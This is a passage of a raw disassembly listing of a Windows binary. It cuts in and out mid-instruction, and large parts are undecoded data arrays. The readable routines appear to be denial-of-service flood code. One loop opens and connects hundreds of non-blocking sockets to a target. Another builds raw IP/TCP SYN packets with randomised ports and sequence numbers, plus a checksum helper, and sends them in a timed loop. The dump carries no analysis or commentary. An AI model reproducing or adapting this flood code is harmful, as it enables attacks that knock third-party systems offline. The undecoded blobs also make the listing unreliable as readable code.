= word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4CB9D4 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_41430F push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_41429C: ; CODE XREF: sub_414251+B9j lea esi, [ebp+var_654] mov ebx, edi loc_4142A4: ; CODE XREF: sub_414251+7Aj push 0 push 1 push 2 nop call near ptr 71AB3C22h cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_4142C7 lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax nop call near ptr 71AB155Ah loc_4142C7: ; CODE XREF: sub_414251+64j add esi, 4 dec ebx jnz short loc_4142A4 lea esi, [ebp+var_654] mov ebx, edi loc_4142D5: ; CODE XREF: sub_414251+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] call near ptr 71AB3E5Dh nop add esi, 4 dec ebx jnz short loc_4142D5 push 64h call near ptr 2680000h nop lea esi, [ebp+var_654] mov ebx, edi loc_4142F9: ; CODE XREF: sub_414251+B4j push dword ptr [esi] call near ptr 71AB1A6Dh nop add esi, 4 dec ebx jnz short loc_4142F9 dec [ebp+arg_4] jnz short loc_41429C pop edi pop esi pop ebx loc_41430F: ; CODE XREF: sub_414251+3Ej xor eax, eax leave retn sub_414251 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A8F0 push dword ptr [esp+18h] mov edi, eax call sub_41C159 push dword ptr [esp+20h] mov ebx, eax call sub_41C159 mov esi, eax push esi push ebx push edi call sub_414251 add esp, 18h test eax, eax jnz short loc_414349 push 1 pop eax loc_414349: ; CODE XREF: ___:00414344j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_414358 dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h ; DATA XREF: sub_401ACD+636Bo dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 437AC4h, 7EB8E850h dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF5494E8h dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh dd 0FFFF72EAh, 90565959h, 2CBC0BE8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143F7 proc near ; CODE XREF: ___:004146E5p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CB944 test eax, eax jz short loc_414437 xor eax, eax jmp loc_4146A5 ; --------------------------------------------------------------------------- loc_414437: ; CODE XREF: sub_4143F7+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CBA78 cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_41469D push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4CB9B4 cmp eax, 0FFFFFFFFh jz loc_414693 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4CB9D4 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4CB9D4 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4CB9D4 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4CB9D4 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx nop call near ptr 27B03A7h lea eax, [ebp+var_8] push eax nop call near ptr 27B0000h push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41DB20 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_414522: ; CODE XREF: sub_4143F7+25Dj ; sub_4143F7+26Bj mov [ebp+var_24], bx call sub_41C2C2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CB9D4 mov [ebp+var_34], ax call sub_41C2C2 mov edi, eax shl edi, 10h call sub_41C2C2 or edi, eax push edi call dword_4CB9D4 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CB9D0 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CB9D4 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41CD20 lea eax, [ebp+var_B4] push 34h push eax call sub_40AA5F mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41CD20 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41BF70 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AA5F mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4CBA38 cmp eax, 0FFFFFFFFh jz short loc_414667 add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax nop call near ptr 27B0000h mov eax, [ebp+var_4] cmp eax, esi jg short loc_414690 jl loc_414522 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_414690 jmp loc_414522 ; --------------------------------------------------------------------------- loc_414667: ; CODE XREF: sub_4143F7+247j call dword_4CB968 push eax lea eax, [ebp+var_F4] push offset dword_437AEC push eax call sub_41C266 lea eax, [ebp+var_F4] push eax call sub_415D38 add esp, 10h jmp short loc_414693 ; --------------------------------------------------------------------------- loc_414690: ; CODE XREF: sub_4143F7+25Bj ; sub_4143F7+269j mov ebx, [ebp+arg_8] loc_414693: ; CODE XREF: sub_4143F7+78j ; sub_4143F7+297j push [ebp+var_C] call dword_4CBA6C pop esi loc_41469D: ; CODE XREF: sub_4143F7+5Bj call dword_4CB92C mov eax, ebx loc_4146A5: ; CODE XREF: sub_4143F7+3Bj pop edi pop ebx leave retn sub_4143F7 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A8F0 push dword ptr [esp+18h] mov esi, eax call sub_41C159 push dword ptr [esp+20h] mov ebx, eax call sub_41C159 mov edi, eax call sub_41C2C2 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_4143F7 add esp, 1Ch test eax, eax jnz short loc_4146F4 push 1 pop eax loc_4146F4: ; CODE XREF: ___:004146EFj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_414703 db 55h ; DATA XREF: sub_401ACD+6D3Do dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 7A25h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh dd 5DE8h, 50595900h, 0FC6C858Dh, 0C68FFFFh, 5000437Bh dd 7B09E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh dd 0FFFF50E5h, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h dd 3BE8F075h, 59FFFF6Fh, 0E8905659h, 22CB85Ch, 8B555E5Fh dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh dd 6583046Ah, 0BB5E00A8h, 0FFh, 0C033066Ah, 0AC7D8D5Ah dd 0FF7C8D89h, 45C7FFFFh, 280h, 84758900h, 0C7885589h dd 88C45h, 45C70000h, 0C90h, 9445C700h, 11h, 169845C7h dd 0C7000000h, 299C45h, 45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh dd 100h, 915FE857h, 89590000h, 5057FC45h, 0B9E815FFh, 75FF004Ch dd 5815FFFCh, 8B004CBAh, 6A530C40h, 8B026A03h, 89008B00h dd 15FFF445h, 4CBA54h, 56D84D8Dh, 6A026A51h, 45895000h dd 0B415FFFCh, 0BE004CB9h, 200h, 7627E856h, 3D8B0000h dd 4270B0h, 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0B9D415FFh, 8966004Ch dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h dd 870F0C45h, 0CFh, 79E5E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h dd 0E2C100FFh, 89D00B18h, 0CBE8F455h, 99000079h, 0F9F7CB8Bh dd 0E8AC5589h, 79BEh, 1FA4B999h, 45C60000h, 0F9F745DCh dd 4DD45C6h, 0E8D45589h, 79A6h, 0E0458966h, 799DE8h, 990A6A00h dd 66F9F759h, 0B095448Bh, 0D415FF50h, 56004CB9h, 0E2458966h dd 0B9D415FFh, 8966004Ch, 5D88DE45h, 7974E8E4h, 0E6A0000h dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF60EAE8h, 458966FFh dd 0DC458DE6h, 0FF50146Ah, 99E8F875h, 83000083h, 858D14C4h dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0BA3815FFh dd 1AE9004Ch, 0FFFFFFFFh, 0E2E8F875h, 59000070h, 0FFFC75FFh dd 4CBA6C15h, 58016A00h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- byte_4149C1 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5306o dd 440EC81h, 458B0000h, 57565308h, 0F08B686Ah, 0C0BD8D59h dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah dd 19Ch, 88C03359h, 0FFFF609Dh, 66ABF3FFh, 3D8BAAABh, 4270B0h dd 0E850D7FFh, 78ACh, 0FF6859h, 36A0000h, 15FF026Ah, 4CBA54h dd 89FFF883h, 6675FC45h, 0B96815FFh, 8D50004Ch, 0FFFBC085h dd 7C2468FFh, 0E8500043h, 782Ah, 390CC483h, 0FFFF589Dh dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h dd 50FFFFFEh, 0FDC0B5FFh, 2E8FFFFh, 83FFFF4Eh, 858D14C4h dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF6C55E8h dd 535959FFh, 2CB577E8h, 4D8D9002h, 51046ACCh, 5053026Ah dd 0FFCC7589h, 4CB9B415h, 0FFF88300h, 15FF6675h, 4CB968h dd 0C0858D50h, 68FFFFFBh, 437BECh, 77ACE850h, 0C4830000h dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF4D84E8h dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh dd 0D7E8FFFFh, 59FFFF6Bh, 0E8905359h, 22CB4F8h, 0FDC4858Dh dd 0FF50FFFFh, 4CBA1415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h dd 437BCC68h, 3BE85000h, 39000077h, 0FFFF589Dh, 755959FFh dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h dd 0B5FF50FFh, 0FFFFFDC0h, 0FF4D14E8h, 14C483FFh, 0FBC0858Dh dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 67E8FFFFh, 59FFFF6Bh dd 89E85359h, 90022CB4h, 458D106Ah, 0E85053BCh, 73ECh dd 660CC483h, 2BC45C7h, 15FF5300h, 4CB9D4h, 0BE458966h dd 0FDC4858Dh, 0FF50FFFFh, 4CBA1415h, 0C0458900h, 0FF085D89h dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0B9D415FFh dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h dd 80DC45C6h, 6DD45C6h, 0DE5D8966h, 0C7E82D74h, 8B000076h dd 8E6C1F0h, 76BDE8h, 0C1F00300h, 0B3E808E6h, 3000076h dd 8E6C1F0h, 76A9E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh dd 0FFFDC0B5h, 5DD8E8FFh, 5059FFFFh, 0BA1415FFh, 4589004Ch dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7676h dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 0D415FFFFh dd 66004CB9h, 0E8EA4589h, 7656h, 401B999h, 0F9F70000h dd 0D415FF52h, 68004CB9h, 12345678h, 0E8458966h, 0B9D015FFh dd 4589004Ch, 44858DECh, 68FFFFFEh, 42B0D0h, 7642E850h dd 85590000h, 97459C0h, 0C6F05D89h, 0EB02F545h, 44858D5Ch dd 68FFFFFEh, 42AEE8h, 7622E850h, 85590000h, 97459C0h dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42AEE0h dd 7602E850h, 85590000h, 257459C0h, 75D9E8h, 99036A00h dd 89F9F759h, 0CBE8F055h, 6A000075h, 0F7599902h, 1ADAF7F9h dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h dd 4CB9D4h, 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h, 0D415FF06h dd 66004CB9h, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh dd 7FCBE8h, 0E8458D00h, 8D50146Ah, 0E8508045h, 7FBCh, 0FF60858Dh dd 346AFFFFh, 5CEDE850h, 8966FFFFh, 458DF845h, 50146AD4h dd 0FF60858Dh, 0E850FFFFh, 7F98h, 6AE8458Dh, 858D5014h dd 0FFFFFF74h, 7F86E850h, 46A0000h, 5388458Dh, 71CAE850h dd 0C4830000h, 60858D44h, 6AFFFFFFh, 0A8E85028h, 66FFFF5Ch dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 7F53E8h dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh dd 0FFFC75FFh, 4CBA3815h, 0FFF88300h, 45FF0874h, 0FDBAE908h dd 75FFFFFFh, 6C15FFFCh, 0FF004CBAh, 4CB96815h, 858D5000h dd 0FFFFFDC4h, 500875FFh, 437B7C68h, 0C0858D00h, 68FFFFFBh dd 200h, 753AE850h, 0C4830000h, 589D3918h, 75FFFFFFh, 858D5323h dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh dd 0FFFFFDC0h, 0FF4A18E8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh dd 0ED8h, 0FF44B5FFh, 6BE8FFFFh, 59FFFF68h, 0E8905359h dd 22CB18Ch, 0FFFC75FFh, 4CBA6C15h, 8458B00h, 0C06BD233h dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h dd 437B2C68h, 0AFE85000h, 83000073h, 9D391CC4h, 0FFFFFF58h dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh dd 0FF50FFFFh, 0FFFDC0B5h, 4987E8FFh, 0C483FFFFh, 0C0858D14h dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF67DAh dd 90535959h, 2CB0FBE8h db 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp+0Ch], esi jle short loc_414F31 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414F23: ; CODE XREF: ___:00414F2Bj movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414F23 pop edi cmp eax, 1 loc_414F31: ; CODE XREF: ___:00414F17j jnz short loc_414F3E mov al, [edx] mov [ebp+0Ch], al movzx eax, word ptr [ebp+0Ch] add esi, eax loc_414F3E: ; CODE XREF: ___:loc_414F31j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn ; --------------------------------------------------------------------------- byte_414F57 db 55h ; DATA XREF: sub_401ACD+6C68o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 71D1h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh dd 5Fh, 19CC481h, 8D500000h, 0FFFC6C85h, 7C5868FFh, 0E8500043h dd 729Eh, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 7AE8FFFFh dd 83FFFF48h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h, 75FF0000h dd 66D0E8F0h, 5959FFFFh, 0F1E89056h, 55022CAFh, 0EC81EC8Bh dd 0CCh, 358B5653h, 4270B0h, 8957DB33h, 0D6FFFC5Dh, 0FF68h dd 6A036A00h, 0F0458902h, 0BA5415FFh, 4589004Ch, 50D6FFF8h dd 7273E8h, 78BF5900h, 57000005h, 16A096Ah, 3B7CE8h, 50595900h dd 50D8458Dh, 6F0FE8h, 0CC48300h, 5A0BEh, 25E89000h, 2B0227B7h dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h dd 4CF1801Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h dd 6ED0h, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h dd 4CB978h, 0FF68h, 0E8016A00h, 3B11h, 0F505959h, 509E45B6h dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h, 42D90468h dd 83E85000h, 83000071h, 13EB18C4h, 0FF34858Dh, 6068FFFFh dd 50004CEBh, 7797E8h, 8D595900h, 0FFFF3485h, 15FF50FFh dd 4CBA14h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h dd 15FFA845h, 4CB9D4h, 0AE458966h, 7199E8h, 45896600h dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h dd 0C640B445h, 6606B545h, 89B65D89h, 6FE8BC45h, 66000071h dd 0E8C04589h, 7166h, 0C2458966h, 715DE8h, 0C4458900h dd 7155E8h, 0C8458900h, 66CC458Bh, 6AFF5025h, 0C6500C14h dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h, 66D45D89h dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh dd 6FFFFFFh, 0C55CE890h, 89667169h, 0FFFF5E85h, 60858DFFh dd 6AFFFFFFh, 458D5014h, 1DE850C0h, 8D00007Bh, 0FFFF7485h dd 8D5057FFh, 0E850D845h, 7B0Ch, 0FF54858Dh, 9868FFFFh dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah dd 8D535088h, 5056A845h, 0FFF875FFh, 4CBA3815h, 0FC45FF00h dd 0FFFE20E9h, 0F875FFFFh, 0BA6C15FFh, 458B004Ch, 5B5E5FFCh ; --------------------------------------------------------------------------- leave retn ; --------------------------------------------------------------------------- word_41525A dw 8B55h ; DATA XREF: sub_401ACD+4B97o dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh dd 1082C7FCh, 1000002h, 0F3000000h, 37E8A5h, 0C4810000h dd 214h, 0EC858D50h, 68FFFFFBh, 437C8Ch, 6FB4E850h, 858D0000h dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6410E8F0h, 0C483FFFFh dd 90006A14h, 2CAD2FE8h, 0EC8B5502h, 254EC81h, 56530000h dd 0FFBBh, 6A535700h, 0FF026A03h, 4CBA5415h, 0FFF88300h dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 437E7Ch, 6F60E850h dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h dd 0C7505702h, 1EC45h, 15FF0000h, 4CB9B4h, 75FFF883h, 6815FF0Eh dd 50004CB9h, 437E2C68h, 8D1BEB00h, 0FF500C45h, 4CBA1415h dd 0FFF88300h, 15FF2075h, 4CB968h, 7DE86850h, 858D0043h dd 0FFFFFDACh, 6F04E850h, 0C4830000h, 26EE90Ch, 66570000h dd 2DC45C7h, 0D415FF00h, 66004CB9h, 8DDE4589h, 0E8500C45h dd 7169BF74h, 0B0358B90h, 89004270h, 0D6FFE045h, 8DF84589h dd 8D500C45h, 0FFFDAC85h, 7DBC68FFh, 0E8500043h, 6EBEh dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF4499h dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h dd 858DF08Bh, 10Ch, 6D67E850h, 0F03B0000h, 93870F59h, 0BE000001h dd 41Ch, 0FFBB05EBh, 39000000h, 4CF1803Dh, 6A527500h, 45895810h dd 458D50F0h, 0E85057CCh, 6B50h, 8D0CC483h, 8D50F045h dd 0FF50CC45h, 15FF0875h, 4CB978h, 0E8016A53h, 3795h, 0F505959h dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h, 0D90468ACh dd 0E8500042h, 6E0Ah, 0EB18C483h, 0AC458D10h, 4CEB6068h dd 21E85000h, 59000074h, 5C65659h, 4CED60h, 0D415FF45h dd 66004CB9h, 4CED62A3h, 0AC458D00h, 5C76650h, 4CED64h dd 89660001h, 4CED663Dh, 6805C600h, 80004CEDh, 0ED6905C6h dd 6611004Ch, 0ED6A3D89h, 15FF004Ch, 4CBA14h, 4CED6CA3h dd 0E0458B00h, 4CED70A3h, 8C858D00h, 50000000h, 7A3D8966h dd 0E8004CEDh, 6C85h, 7559C085h, 6DE4E810h, 0B9990000h dd 401h, 0EB52F9F7h, 8C858D0Eh, 50000000h, 6C64E8h, 0FF505900h dd 4CB9D415h, 76A36600h, 0E8004CEDh, 6DBAh, 401B999h, 8680000h dd 0F7000004h, 158966F9h, 4CED74h, 0B9D415FFh, 68004Ch dd 66000004h, 4CED78A3h, 6D90E800h, 0F7990000h, 7C6852FBh dd 0E8004CEDh, 6A30h, 8D0CC483h, 106ADC45h, 68565750h dd 4CED60h, 0FFF475FFh, 4CBA3815h, 0FFF88300h, 0A5840Fh dd 45FF0000h, 29E890FCh, 2B0227B2h, 0D233F845h, 3E8B9h dd 8BF1F700h, 0C858DD8h, 50000001h, 6BD4E8h, 59D83B00h dd 0FE74860Fh, 75FFFFFFh, 6C15FFF4h, 8B004CBAh, 858DFC75h dd 10Ch, 1CF66950h, 0E8000004h, 6BADh, 8BD23359h, 0C1C68BC8h dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 437D5868h dd 0AC858D00h, 50FFFFFDh, 6C91E8h, 18C48300h, 214BD39h dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h dd 18Ch, 875FF50h, 0FF426CE8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh dd 0FF56FC75h, 4CB96815h, 458D5000h, 0CC68500Ch, 0EB00437Ch db 0ACh byte_41561D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6283o dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6B09h, 858D5059h dd 0FFFFFE70h, 6AFBE850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh dd 4CBA1415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h dd 7EA868FFh, 0E8500043h, 6BDEh, 0C483F633h, 0F875390Ch dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh dd 0FDECB5FFh, 0BAE8FFFFh, 83FFFF41h, 858D14C4h, 0FFFFFBECh dd 67AE850h, 75FF0000h, 6010E8F0h, 5959FFFFh, 31E89056h dd 5F022CA9h ; --------------------------------------------------------------------------- pop esi push ebp mov ebp, esp sub esp, 210h and dword ptr [ebp-4], 0 cmp dword ptr [ebp+14h], 0 push esi push edi jnz short loc_4156FA push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 71AB3E5Dh nop jmp loc_4157B6 ; --------------------------------------------------------------------------- loc_4156FA: ; CODE XREF: ___:004156E4j mov esi, [ebp+8] push 1 pop edi lea eax, [ebp-8] push eax push 8004667Eh push esi mov [ebp-8], edi nop call near ptr 71AB155Ah push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi call dword_4CB97C push dword ptr [ebp+14h] lea eax, [ebp-210h] mov [ebp-108h], esi mov [ebp-10Ch], edi push 0 push eax lea eax, [ebp-10Ch] mov [ebp-20Ch], esi push eax lea eax, [esi+1] push eax mov [ebp-210h], edi call dword_4CB9BC test eax, eax jnz short loc_41575E or eax, 0FFFFFFFFh jmp short loc_4157B6 ; --------------------------------------------------------------------------- loc_41575E: ; CODE XREF: ___:00415757j or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_415769 loc_415765: ; CODE XREF: ___:00415789j ; ___:004157ADj mov eax, edi jmp short loc_4157B6 ; --------------------------------------------------------------------------- loc_415769: ; CODE XREF: ___:00415763j lea eax, [ebp-10Ch] push eax push esi call sub_426350 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41578B lea eax, [ebp-210h] push eax push esi call sub_426350 ; --------------------------------------------------------------------------- test eax, eax jz short loc_415765 loc_41578B: ; CODE XREF: ___:00415778j lea eax, [ebp+8] mov dword ptr [ebp+8], 4 push eax lea eax, [ebp-4] push eax push 1007h push 0FFFFh push esi nop call near ptr 71AB4122h cmp eax, edi jz short loc_415765 mov eax, [ebp-4] neg eax sbb eax, eax loc_4157B6: ; CODE XREF: ___:004156F5j ; ___:0041575Cj ... pop 